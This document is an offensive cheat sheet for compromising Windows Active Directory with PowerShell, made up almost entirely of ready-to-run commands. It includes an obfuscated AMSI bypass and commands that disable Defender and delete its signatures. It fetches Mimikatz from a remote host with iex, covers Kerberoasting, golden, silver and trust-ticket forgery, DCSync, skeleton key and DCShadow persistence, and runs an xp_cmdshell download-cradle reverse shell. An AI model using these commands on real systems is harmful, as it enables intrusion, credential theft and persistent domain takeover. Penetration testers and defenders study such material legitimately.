PowerShell AMSI Bypass

This cheat sheet contains common enumeration and attack methods for Windows Active Directory with the use of powershell.

Last update: 24 Nov 2023

Tools and Scripts

Pre-requisites

Using PowerView:

. .\PowerView.ps1

Using PowerView dev:

. .\PowerView_dev.ps1

Using AD Module

Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1

PowerShell AMSI Bypass

# AMSI bypass
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

PowerShell Bypass Execution Policy

# View the Execution Policy
Get-ExecutionPolicy
# List according to system levels
Get-ExecutionPolicy -List | Format-Table -AutoSize
# Bypass
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy

Example:

Evasion and obfuscation with PowerShellArmoury

Create an armoury

# If you want to create an armoury with default settings (note: this will not obfuscate at all besides base64 encoding)
. .\New-PSArmoury.ps1
New-PSArmoury
cat -raw .\MyArmoury.ps1 | iex

Reference: Here

Windows Defender

Disable Windows Defender

# Turn Off
Set-MpPreference -DisableRealtimeMonitoring $true

Disable Windows Defender and delete signatures

# Turn Off
"c:\Program Files\Windows Defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true

Example:

Remote Desktop

Enable Remote Desktop

# Turn On
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

Login with remote desktop

# Login
rdesktop 172.16.20.20 -d corporate -u username -p password

Login with remote desktop with folder sharing

# Login
rdesktop 172.16.20.20 -d corporate -u username -p password -r disk:sharename=//home/username/Desktop/Tools

Login with xfreerdp

# Login
xfreerdp /u:username /p:password /v:172.16.20.20

Login with xfreerdp with folder sharing

# Login
xfreerdp /u:username /p:password /v:172.16.20.20 /drive:/home/username/Desktop/Tools

Enumeration

Users Enumeration

With PowerView:

# Get the list of users
Get-NetUser
# Fitler by username
Get-NetUser -Username user01                          
# Grab the cn (common-name) from the list of users
Get-NetUser | select cn                           
# Grab the name from the list of users
Get-NetUser | select name
# Get actively logged users on a computer (needs local admin rights on the target)
Get-NetLoggedon -ComputerName <servername>
# List all properties
Get-UserProperty                                      
# Display when the passwords were set last time
Get-UserProperty –Properties pwdlastset               
# Display when the accounts were created
Get-UserProperty -Properties whencreated

With AD Module:

# Get the list of users
Get-ADUser -Filter *

# Get the list of users with properties
Get-ADUser -Filter * -Properties *                                                                        
# List samaccountname and description for users
Get-ADUser -Filter * -Properties * | select Samaccountname,Description                                    
# Get the list of users from cn common-name
Get-ADUser -Filter * -Properties * | select cn                                                            
# Get the list of users from name
Get-ADUser -Filter * -Properties * | select name                                                          
# Displays when the password was set
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

Domain Admins Enumeration

With PowerView:

# Get the current domain
Get-NetDomain                                         
# Get items from another domain
Get-NetDomain -Domain corporate.local                 
# Get the domain SID for the current domain
Get-DomainSID                                         
# Get domain policy for current domain
Get-DomainPolicy                                      
# See Attributes of the Domain Admins Group
Get-NetGroup -GroupName "Domain Admins" -FullData     
# Get Members of the Domain Admins group:
Get-NetGroupMember -GroupName "Domain Admins"

With AD Module:

# Get the current domain
Get-ADDomain                                         
# Get item from another domain
Get-ADDomain -Identity corporate.local                
# Get the domain SID for the current domain
(Get-ADDomain).DomainSID                              
# Get domain policy for current domain
(Get-DomainPolicy)."system access"

Computers Enumeration

With PowerView:

# Get the list of computers in the current domain
Get-NetComputer                                       
# Get the list of computers in the current domain with complete data 
Get-NetComputer -FullData                             
# Get the list of computers grabbing their operating system
Get-NetComputer -FullData | select operatingsystem    
# Get the list of computers grabbing their name
Get-NetComputer -FullData | select name               
# Send a ping to check if the computers are alive (They could be alive but still not responding to any ICMP echo request)
Get-NetComputer -Ping

With AD Module:

# Get the list of computers in the current domain with complete data 
Get-ADComputer -Filter * -Properties *                                               
# Get the list of computers grabbing their name and the operating system
Get-ADComputer -Filter * -Properties OperatingSystem | select name,OperatingSystem   
# Get the list of computers grabbing their name
Get-ADComputer -Filter * | select Name

Groups and Members Enumeration

With PowerView:

# Information about groups
Get-NetGroup
# Get all groups that contain the word "admin" in the group name 
Get-NetGroup *Admin*                                                       
# Get all members of the "Domain Admins" group
Get-NetGroupMember -GroupName "Domain Admins" -Recurse                     
# Query the root domain as the "Enterprise Admins" group exists only in the root of a forest
Get-NetGroupMember -GroupName "Enterprise Admins" –Domain domainxxx.local  
# Get group membership for "user01"
Get-NetGroup -UserName "user01"

With AD Module:

# Get all groups that contain the word "admin" in the group name
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name                   
# Get all members of the "Domain Admins" group
Get-ADGroupMember -Identity "Domain Admins" -Recursive                     
# Get group membership for "user01"
Get-ADPrincipalGroupMembership -Identity user01

Shares Enumeration

With PowerView:

# Find shares on hosts in the current domain                   
Invoke-ShareFinder -Verbose                                             
# Find sensitive files on computers in the current domain
Invoke-FileFinder -Verbose                                              
# Search file servers. Lot of users use to be logged in this kind of server
Get-NetFileServer                                                       
# Find shares excluding standard, print and ipc.
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose
# Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess

OUI and GPO Enumeration

With PowerView:

# Get the organizational units in a domain
Get-NetOU
# Get the organizational units in a domain with name
Get-NetOU | select name
# Get the organizational units in a domain with full data
Get-NetOU -FullData                                                         
# Get all computers from "ouiexample". Ouiexample --> organizational Units
Get-NetOU "ouiexample" | %{Get-NetComputer -ADSpath $_}                     
# Retrieve the list of GPOs present in the current domain
Get-NetGPO
# Retrieve the list of GPOs present in the current domain with displayname
Get-NetGPO| select displayname
# Get list of GPO in the target computer
Get-NetGPO -ComputerName <ComputerName> | select displayname
# Find users who have local admin rights over the machine
Find-GPOComputerAdmin –Computername <ComputerName>
# Get machines where the given user in member of a specific group
Find-GPOLocation -Identity <user> -Verbose
# Enumerate GPO applied on the example OU
Get-NetGPO -ADSpath 'LDAP://cn={example},CN=example'

With AD Module:

# Get the organizational units in a domain
Get-ADOrganizationalUnit -Filter * -Properties *

ACLs Enumeration

With PowerView:

# Enumerates the ACLs for the users group
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs                         
# Enumerates the ACLs for the Domain Admins group
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs                 
# Get the acl associated with a specific prefix
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose               
# Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs                                             
# Check for modify rights/permissions for the user group
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "user"}     
# Check for modify rights/permissions for the RDPUsers group
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPusers"} 
# Check for modify rights/permissions for the RDPUsers group
Invoke-ACLScanner | select ObjectDN,ActiveDirectoryRights,IdentityReferenceName
# Search of interesting ACL's for the current user
Invoke-ACLScanner | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}

Domain Trust Mapping

With PowerView:

# Get the list of all trusts within the current domain
Get-NetDomainTrust                                                          
# Get the list of all trusts within the indicated domain
Get-NetDomainTrust -Domain us.domain.corporation.local
# Get the list of all trusts for each domain it finds
Get-DomainTrustMapping

Example:

With AD Module:

# Get the list of all trusts within the current domain
Get-ADTrust -Filter *                                                       
# Get the list of all trusts within the indicated domain
Get-ADTrust -Identity us.domain.corporation.local

Domain Forest Enumeration

With PowerView:

# Get all domains in the current forest
Get-NetForestDomain                                                                
# Get all domains in the current forest
Get-NetForestDomain -Forest corporation.local                                      
# Map all trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust                                  
# Map only external trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}

Example:

With AD Module:

# Get all domains in the current forest
(Get-ADForest).Domains                                                                                                 
# Map only external trusts
(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_}

User Hunting

With PowerView:

# Find all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose
# Find local admins on all machines of the domain
Find-DomainLocalGroupMember -Verbose
# Enumerates the local group memberships for all reachable machines the <domain>
Find-DomainLocalGroupMember -Domain <domain>
# Looks for machines where a domain administrator is logged on
Invoke-UserHunter                                                 
# Confirm access to the machine as an administrator
Invoke-UserHunter -CheckAccess

Enumeration with BloodHound

Pre-requisites

1. Install and start the neo4j service:

# Install the service
.\neo4j.bat install-service
# Start the service
.\neo4j.bat start

2. Run BloodHound ingestores to gather data and information about the current domain:

# Gather data and information
. .\SharpHound.exe --CollectionMethod All
# Gather data and information
Invoke-BloodHound -CollectionMethod All -Verbose

or

3. Run BloodHound-python ingestores to gather data and information about the current domain:

# Gather data and information
python3 bloodhound.py -u username -p 'password' -ns x.x.x.x -d xxxx.local -c All

Gui-Graph Queries

# Find All edges any owned user has on a computer
match p=shortestPath((m:User)-[r]->(b:Computer)) WHERE m.owned RETURN p
# Find All Users with an SPN/Find all Kerberoastable Users
match (n:User)WHERE n.hasspn=true
# Find workstations a user can RDP into
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513'  AND NOT c.operatingsystem CONTAINS 'Server' return p
# Find servers a user can RDP into
match p=(g:Group)-[:CanRDP]->(c:Computer) where  g.objectid ENDS WITH '-513'  AND c.operatingsystem CONTAINS 'Server' return p
# Find all computers with Unconstrained Delegation
match (c:Computer {unconstraineddelegation:true}) return c
# Find users that logged in within the last 30 days
match (u:User) WHERE u.lastlogon < (datetime().epochseconds - (30 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] return u
# Find all sessions any user in a specific domain
match p=(m:Computer)-[r:HasSession]->(n:User {domain: "corporate.local"}) RETURN p
# Find the active user sessions on all domain computers
match p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) return p2
# View all groups that contain the word 'administrators'
match (n:Group) WHERE n.name CONTAINS "administrators" return n
# Find if unprivileged users have rights to add members into groups
match (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) return p

Console Queries

# Find what groups can RDP
match p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name
# Find what groups can reset passwords 
match p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN m.name, n.name ORDER BY m.name
# Find what groups have local admin rights
match p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name
# Find all connections to a different domain/forest
match (n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name
# Kerberoastable Users with most privileges
match (u:User {hasspn:true}) OPTIONAL MATCH (u)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH u,COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS comps RETURN u.name,COUNT(DISTINCT(comps)) ORDER BY COUNT(DISTINCT(comps)) DESC
# Find users that logged in within the last 30 days
match (u:User) WHERE u.lastlogon < (datetime().epochseconds - (30 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u.name, u.lastlogon order by u.lastlogon
# Find constrained delegation
match (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC
# Enumerate all properties
match (n:Computer) return properties(n)

Local Privilege Escalation

Using PowerUp:

. .\PowerUp.ps1

Link: PowerUp

BeRoot

.\beRoot.exe

Link: BeRoot

PrivEsc

. .\privesc.ps1

Link: PrivEsc

With PowerUp:

# Performs all checks
Invoke-AllChecks                                                         
# Get services with unquoted paths and a space in their name
Get-ServiceUnquoted -Verbose                                             
# Get services where the current user can write to its binary path or change arguments to the binary
Get-ModifiableServiceFile -Verbose                                       
# Get the services whose configuration current user can modify
Get-ModifiableService -Verbose                                           
# Let's add our current domain user to the local Administrators group 
Invoke-ServiceAbuse -Name 'software_xxx' -UserName 'corporate\student01'

With PrivEsc:

# Performs all checks
Invoke-Privesc

Lateral Movement

Powershell Remoting:

# Execute whoami & hostname commands on the indicated server
Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName xxxx.corporate.corp.local          
# Execute the script Git-PassHashes.ps1 on the indicated server
Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName xxxx.corporate.corp.local
# Enable Powershell Remoting on current Machine
Enable-PSRemoting
# Start a new session
$sess = New-PSSession -ComputerName <Name>
# Enter the Session
Enter-PSSession $sess
Enter-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName -Sessions <Sessionname>

Invoke-Mimikatz:

# Execute Invoke-Mimikatz from computer xxx.xxx.xxx.xxx
iex (iwr http://xxx.xxx.xxx.xxx/Invoke-Mimikatz.ps1 -UseBasicParsing)                                           
# "Over pass the hash" generate tokens from hashes
Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:corporate.corp.local /ntlm:x /run:powershell.exe"'

Persistence

Golden Ticket

Invoke-Mimikatz:

# Execute mimikatz on DC as DA to get hashes
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
# Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:corporate.corp.local /sid:S-1-5-21-1324567831-1543786197-145643786 /krbtgt:0c88028bf3aa6a6a143ed846f2be1ea4 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Silver Ticket

Invoke-Mimikatz:

# Silver Ticket for service HOST
Invoke-Mimikatz -Command '"kerberos::golden /domain:corporate.corp.local /sid:S-1-5-21-1324567831-1543786197-145643786 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:0c88028bf3aa6a6a143ed846f2be1ea4 /user:Administrator /ptt"'

Skeleton Key

Invoke-Mimikatz:

# Command to inject a skeleton key
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'-ComputerName dcorp-dc.corporate.corp.local

DCSync

With PowerView and Invoke-Mimikatz:

# Check if user01 has these permissions
Get-ObjectAcl -DistinguishedName "dc=corporate,dc=corp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "user01") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
# If you are a domain admin, you can grant this permissions to any user
Add-ObjectAcl -TargetDistinguishedName "dc=corporate,dc=corp,dc=local" -PrincipalSamAccountName user01 -Rights DCSync -Verbose
# Gets the hash of krbtgt
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Privilege Escalation

Kerberoast

1. Enumeration with Powerview:

# Find user accounts used as Service accounts with PowerView
Get-NetUser SPN

2. Enumeration with AD Module:

# Find user accounts used as Service accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

3. Request a TGS:

# Request a TGS - Phase 1
Add-Type -AssemblyNAme System.IdentityModel
# Request a TGS - Phase 2
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.corp.corporate.local" 
# Check if the TGS has been granted
klist

4. Export and crack TGS:

# Export all tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Crack the Service account password
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\3-40a10000-svcadmin@MSSQLSvc~dcorp-mgmt.corp.corporate.local-CORP.CORPORATE.LOCAL.kirbi

Targeted Kerberoasting AS REPs

1. Enumeration with Powerview dev Version:

# Enumerating accounts with Kerberos Preauth disabled
Get-DomainUser -PreauthNotRequired -Verbose
# Enumerating the permissions for RDPUsers on ACLs using
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

2. Enumeration with AD Module:

# Enumerating accounts with Kerberos Preauth disabled
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
# Set unsolicited pre-authentication for test01 UAC settings
Set-DomainObject -Identity test01 -XOR @{useraccountcontrol=4194304} -Verbose

3. Request encrypted AS REP for offline brute force with John:

# Request encrypted AS REP
Get-ASREPHash -UserName VPN1user -Verbose

Targeted Kerberoasting Set SPN

1. With Powerview dev Version:

# Check if user01 already has a SPN
Get-DomainUser -Identity User01 | select serviceprincipalname
# Set a SPN for the user
Set-DomainObject -Identity User01 -Set @{serviceprincipalname='ops/whatever1'}

2. With AD Module:

# Check if user01 already has a SPN
Get-ADUser -Identity User01 -Properties serviceprincipalname | select serviceprincipalname
# Set a SPN for the user
Set-ADUser -Identity User01 -ServicePrincipalNames @{Add='ops/whatever1'}

3. Request a ticket:

# Step 1 - Request a ticket
Add-Type -AssemblyNAme System.IdentityModel
# Step 2 - Request a ticket
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
# Check if the ticket has been granted
klist

Example:

4. Export all tickets and Bruteforce the password:

# Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Brute force the password with tgsrepcrack
python.exe .\kerberoast\tgsrepcrack.py .\kerberoast\wordlists.txt '.\3-40a10000-user01@ops~whatever1-CORP.CORPORATE.LOCAL.kirbi'

Kerberos Delegation

Unconstrained Delegation

1. With Powerview:

# Search for domain computers with unconstrained delegation enabled
Get-NetComputer -UnConstrained
# Search for domain computers with unconstrained delegation enabled from property name
Get-NetComputer -Unconstrained | select -ExpandProperty name
# Search for domain computers with unconstrained delegation enabled from property dnshostname
Get-NetComputer -Unconstrained | select -ExpandProperty dnshostname

2. With AD Module:

# Search for domain computers with unconstrained delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Printer Bug

Pre-requisites

Rubeus:

.\Rubeus.exe

Link: Rubeus

Ms-rprn:

.\MS-RPRN.exe

Link: MS-RPRN

1. Capture the TGT:

# Start monitoring for any authentication
.\Rubeus.exe monitor /interval:5 /nowrap

2. Run MS-RPRN.exe:

# Run MS-RPRN.exe to abuse the printer bug
.\MS-RPRN.exe \\dcorp.corp.corporate.local \\dcorp-appsrv.corp.corporate.local

3. Copy the base64 encoded TGT, remove extra spaces:

# Use the ticket
.\Rubeus.exe ptt /ticket:<TGTofCorp>

4. DCSync attack against Corp using the injected ticket:

# Run DCSync with Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"'

Constrained Delegation

Pre-requisites

Kekeo:

.\kekeo.exe

Link: Kekeo

1. With Powerview dev Version:

# Users enumeration
Get-DomainUser -TrustedToAuth
# Computers Enumeration
Get-DomainComputer -TrustedToAuth
# Search for domain computers with unconstrained delegation enabled from property dnshostname
Get-NetComputer -Unconstrained | select -ExpandProperty dnshostname

2. With AD Module:

# Enumeration users and computers with constrained delegation enabled
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

3. With Kekeo:

# Requesting TGT
tgt::ask /user:<username> /domain:<domain> /rc4:<hash>
# Requesting TGS
/tgt:<tgt> /user:Administrator@<domain> /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local
# Use Mimikatz to inject the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <kirbi file>"'

4. With Rubeus:

# Requesting TGT and TGS
.\Rubeus.exe s4u /user:<username> /rc4:<hash> /impersonateuser:Administrator /msdsspn:"CIFS/<domain>" /ptt

Child to Parent using Trust Tickets

1. Look for [In] trust key from child to parent:

# Look for [In] trust key from child to parent
Invoke-Mimikatz -Command '"lsadump::trust /patch"'

2. Create the inter-realm TGT:

# Create the inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<domain> /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:<hash> /service:krbtgt /target:<domain> /ticket:C:\<directory>\trust_tkt.kirbi"'

3. Get a TGS for a service in the target domain by using the forged trust ticket.:

# Get a TGS for a service (CIFS below)
.\asktgs.exe C:\<directory>\trust_tkt.kirbi CIFS/mcorp-dc.corporate.local

4. Use the TGS to access the targeted service and check:

# Use the TGS
.\kirbikator.exe lsa .\CIFS.mcorp-dc.corporate.local.kirbi
# Check
ls \\mcorp dc.corporate.local\c$

Child to Parent using Krbtgt Hash

1. Look for [In] trust key from child to parent:

# Look for [In] trust key from child to parent
Invoke-Mimikatz -Command '"lsadump::trust /patch"'

2. Create the inter-realm TGT:

# Create the inter-realm TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<domain> /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:<hash> /ticket:C:\test\krbtgt_tkt.kirbi"'

3. Inject the ticket using mimikatz:

# Inject the ticket
Invoke-Mimikatz -Command '"kerberos::ptt C:\test\krbtgt_tkt.kirbi"'
# Check
gwmi -class win32_operatingsystem -ComputerName mcorp-dc.corporate.local

Example:

Across Forest using Trust Tickets

1. Request the trust key for the inter forest trust:

# request the trust key for the inter forest trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc.corp.corporate.local

2. Create the inter-realm TGT:

# Create the inter-realm TGT
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:<domain> /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:<hash> /service:krbtgt /target:eurocorp.local /ticket:C:\test\kekeo_old\trust_forest_tkt.kirbi"'

3. Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket:

# Get a TGS for a service
.\asktgs.exe C:\test\trust_forest_tkt.kirbi CIFS/eurocorp-dc.corporate.local

4. Present the TGS to the service (CIFS) in the target forest:

# Present the TGS
.\kirbikator.exe lsa .\CIFS.eurocorp-dc.corporate.local.kirbi

GenericAll Abused

1. Full control with GenericAll. Method to change the password:

# User password change
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {net user mickey.mouse newpassword /domain}

Trust Abuse MSSQL Servers

Pre-requisites

PowerUpSQL:

. .\PowerUpSQL.ps1

Link: PowerUpSQL

Software: HeidiSQL Client

1. Enumeration:

# Discovery (SPN Scanning)
Get-SQLInstanceDomain
# Discovery (SPN Scanning) with Info and Verbose mode
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# Check accessibility
Get-SQLConnectionTestThreaded
# Check accessibility
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

2. Database Links:

# Searching Database Links
Get-SQLServerLink -Instance dcorp-mssql -Verbose
# Enumerating Database Links
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose

# Searching Database Links
select * from master..sysservers
# Enumerating Database Links
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",''select * from master..sysservers'')')

3. Command Execution:

# Command: whoami
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft
# Reverse Shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql.corp.corporate.local -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://<address>/Invoke-PowerShellTcp.ps1'')"'

# Enable xp_cmdshell
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql"
# Command: whoami
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt","select * from openquery("eu-sql.eu.corporate.local",""select@@version as version;exec master..xp_cmdshell "powershell whoami)"")")')

Forest Persistence DCShadow

1. Setting the permissions:

# Setting the permissions
Set-DCShadowPermissions -FakeDC corp-user1 -SAMAccountName root1user -Username user1 -Verbose

2. Use Mimikatz to stage the DCShadow attack:

# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280565432-1493477821-700767426-345
# Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
# Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
# Add full control primitive for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-280565432-1493477821-700767426-345]])

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Table of Contents

Tools and Scripts

Pre-requisites

Using PowerView:

Using PowerView dev:

Using AD Module

PowerShell AMSI Bypass

PowerShell Bypass Execution Policy

Evasion and obfuscation with PowerShellArmoury

Create an armoury

Windows Defender

Disable Windows Defender

Disable Windows Defender and delete signatures

Remote Desktop

Enable Remote Desktop

Login with remote desktop

Login with remote desktop with folder sharing

Login with xfreerdp

Login with xfreerdp with folder sharing

Enumeration

Users Enumeration

Domain Admins Enumeration

Computers Enumeration

Groups and Members Enumeration

Shares Enumeration

OUI and GPO Enumeration

ACLs Enumeration

Domain Trust Mapping

Domain Forest Enumeration

User Hunting

Enumeration with BloodHound

Pre-requisites

Neo4j:

SharpHound:

BloodHound:

BloodHound-python:

Gui-Graph Queries

Console Queries

Local Privilege Escalation

Using PowerUp:

BeRoot

PrivEsc

Lateral Movement

Persistence

Golden Ticket

Silver Ticket

Skeleton Key

DCSync

Privilege Escalation

Kerberoast

Targeted Kerberoasting AS REPs

Targeted Kerberoasting Set SPN

Kerberos Delegation

Unconstrained Delegation

Printer Bug

Pre-requisites

Rubeus:

Ms-rprn:

Constrained Delegation

Pre-requisites

Kekeo:

Child to Parent using Trust Tickets

Child to Parent using Krbtgt Hash

Across Forest using Trust Tickets

GenericAll Abused

Trust Abuse MSSQL Servers

Pre-requisites

PowerUpSQL:

Forest Persistence DCShadow

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